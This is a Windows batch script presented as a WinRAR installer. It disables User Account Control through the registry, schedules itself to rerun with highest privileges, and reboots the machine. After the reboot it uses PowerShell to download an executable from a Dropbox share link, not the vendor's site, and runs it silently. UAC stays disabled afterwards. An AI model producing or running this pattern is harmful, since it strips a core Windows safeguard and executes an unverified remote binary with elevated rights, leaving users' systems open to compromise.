@echo off

rem --- PHASE 1: Disable UAC and Prepare for Reboot ---

if "%1" NEQ "postreboot" (
    rem Disable UAC
    echo Disabling UAC...
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    echo UAC has been disabled. Please reboot for changes to take effect.
    pause

    rem Add a task to Task Scheduler to run the batch file after reboot
    echo Adding task to Task Scheduler to run after reboot...
    schtasks /create /tn "WinRARInstallerAfterReboot" /tr "%~f0 postreboot" /sc once /rl highest /f
    pause

    rem Reboot the computer
    echo Rebooting the computer...
    shutdown /r /t 0
    exit /b
)

rem --- PHASE 2: After Reboot, Download and Install WinRAR ---

rem Check if WinRAR is already installed
if exist "C:\Program Files\WinRAR\WinRAR.exe" (
    echo WinRAR is already installed, skipping download and installation.
    exit /b
)

rem If WinRAR is not installed, download the installer to C:\
set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=rjkenpzz&dl=1"
set "winrar_installer=C:\winrar-x64-701.exe"

powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'"

rem Check if the download was successful
if exist "%winrar_installer%" (
    echo "WinRAR successfully downloaded to: %winrar_installer%"
    
    rem Perform silent installation of WinRAR
    echo "Installing WinRAR silently..."
    start /wait "" "%winrar_installer%" /S
    
    rem Check if WinRAR was installed successfully
    if exist "C:\Program Files\WinRAR\WinRAR.exe" (
        echo "WinRAR installed successfully."
    ) else (
        echo "WinRAR installation failed."
    )
) else (
    echo "WinRAR download failed!"
)

rem Remove the Task Scheduler task after installation
schtasks /delete /tn "WinRARInstallerAfterReboot" /f
echo Task removed successfully.

pause